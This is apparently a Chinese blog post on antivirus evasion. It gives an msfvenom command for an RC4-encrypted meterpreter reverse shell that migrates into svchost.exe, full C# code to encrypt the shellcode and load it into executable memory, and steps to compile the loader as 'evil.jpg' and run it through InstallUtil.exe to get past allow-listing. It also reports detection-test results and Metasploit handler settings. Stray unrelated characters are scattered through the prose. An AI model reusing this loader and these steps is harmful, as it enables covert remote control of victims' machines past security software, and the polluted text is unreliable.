前言
上篇文章SSH作內(nèi)網(wǎng)穿透促進(jìn)Cobalt Strike+Metasploit聯(lián)動里提到了CS與MSF聯(lián)動的場景
類似這種后滲透環(huán)境中契沫,我一直在琢磨怎樣才能神不知鬼不覺地執(zhí)行一個meterpreter這種功能強(qiáng)大的Payload
網(wǎng)上關(guān)于免殺和隱蔽執(zhí)行的思路與技巧有很多,本文記一下我當(dāng)前在用的技巧
這次只考慮對抗靜態(tài)查殺昔汉,行為分析和流量分析等等以后再聊
都知道僅僅用MSF對Payload進(jìn)行編碼的話懈万,絕大多數(shù)殺毒軟件都會報(bào)毒,特征碼實(shí)在太明顯了
這里介紹一種思路靶病,主要用上了加密钞速、改后綴和白名單的技巧
免殺流程
實(shí)驗(yàn)環(huán)境: win10 x64
msf生成C#格式shellcode -> 加密shellcode -> 解密并加載shellcode -> csc.exe編譯成.jpg文件 -> InstallUtil.exe白名單執(zhí)行
經(jīng)測試,64位的payload可以成功編譯嫡秕,但是運(yùn)行時(shí)出現(xiàn)問題:
因此以下環(huán)境均選擇32位程序進(jìn)行測試
msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=ip LPORT=6666 RC4PASSWORD=key -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f csharp -o ./payload.txt
reverse_tcp_rc4這個payload利用rc4對傳輸?shù)臄?shù)據(jù)進(jìn)行加密渴语,密鑰在生成時(shí)指定,在監(jiān)聽的服務(wù)端設(shè)置相同的密鑰
PrependMigrate=true PrependMigrateProc=svchost.exe使這個程序默認(rèn)會遷移到svchost.exe進(jìn)程
-i 15 用特定編碼器編碼15次
-b 參數(shù)被設(shè)置的時(shí)候昆咽,它的值中描述的字符將會被避免出現(xiàn)在 Payload 中
當(dāng)這個參數(shù)被添加的時(shí)候驾凶,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
加密shellcode
將上一步驟生成的shellcode植入下面的代碼中
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_Encrypt_Maker
{ class Program
{
// 加密密鑰,可以更改掷酗,加解密源碼中保持KEY一致就行
static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
static byte[] payload ={0x6b,0xa9}; // 替換成MSF生成的shellcode
private static class Encryption_Class
{
public static string Encrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
}
public static byte[] Encrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
}
static void Main(string[] args)
{
byte[] result = Encryption_Class.Encrypt(KEY, payload);
int b = 0;
for (int i = 0; i < result.Length; i++)
{ b++;
if (i == result.Length+1)
{Console.Write(result[i].ToString());}
if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
}
}
}
}
解密并加載shellcode
將上一步驟加密生成的shellcode植入下面的代碼中
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace NativePayload_Reverse_tcp
{
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
class Shellcode
{
public static void Exec()
{
string Payload_Encrypted;
Payload_Encrypted = "216,181"; // 替換上面加密生成的payload
string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
{
byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
_X_to_Bytes[i] = current;
}
// 解密密鑰调违,可以更改,加解密源碼中保持KEY一致就行
byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
// 加載shellcode
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static byte[] Decrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
CSC.exe編譯
C# 在 Windows 平臺下的編譯器名稱是 Csc.exe
上面兩個步驟中的代碼都可以用它來編譯
加密步驟的代碼編譯后可以直接運(yùn)行泻轰,解密步驟的代碼編譯后要通過installutil.exe執(zhí)行
通常你可以在 C:\Windows\Microsoft.NET\Framework\xxxxx\ 目錄中發(fā)現(xiàn)它們
為方便使用可以將該路徑加入系統(tǒng)環(huán)境變量中
Command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:evil.jpg payload.cs
- /unsafe: 允許"不安全"代碼
生成最終落地的evil.jpg
InstallUtil.exe白名單執(zhí)行
Command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U evil.jpg
/LogFile=[filename]: 向其中寫入進(jìn)度的文件技肩。如果為空,則不寫入日志浮声。默認(rèn)為<assemblyname>.InstallLog
/LogToConsole={true|false}: 如果為 false虚婿,則不向控制臺輸出。
測試結(jié)果
https://www.virustotal.com在線查殺過程中
第一次上傳的時(shí)候只有四五家查出毒來了
測試時(shí)泳挥,Windows Defender從文件生成到執(zhí)行全程靜默無任何反應(yīng)
到這篇文章寫完的時(shí)候然痊,再測試
查殺結(jié)果:
.jpg文件生成過程中Windows Defender也會報(bào)毒了
應(yīng)該時(shí)測試過程中樣本被捕獲導(dǎo)致的
當(dāng)然其中所用到的手法其實(shí)也都有先例
免殺這種東西放出來就不是免殺了,重點(diǎn)還是思路學(xué)習(xí)
Tips:
- 關(guān)于CSC.exe和InstallUtil.exe兩個文件默認(rèn)安裝位置:(注意x32屉符,x64區(qū)別)
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
- 補(bǔ)充一些監(jiān)聽參數(shù)剧浸,防止假死與假session
msf exploit(multi/handler) > set exitonsession false //可以讓建立監(jiān)聽的端口繼續(xù)保持偵聽锹引。可以接受多個session
exitonsession => false
msf exploit(multi/handler) > set EnableStageEncoding true //將控制端向被控制端發(fā)送的stage進(jìn)行編碼唆香,從而繞過symantec的查殺嫌变,使用rc4時(shí)可以不需要指定
EnableStageEncoding => true
msf exploit(multi/handler) >
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf exploit(multi/handler) > exploit -j -z
- 進(jìn)一步免殺嘗試更換編碼方式,加密算法躬它,對C#代碼作混淆處理腾啥,還可以使用更加隱蔽的DNS通信方式,經(jīng)測試免殺效果還是不錯的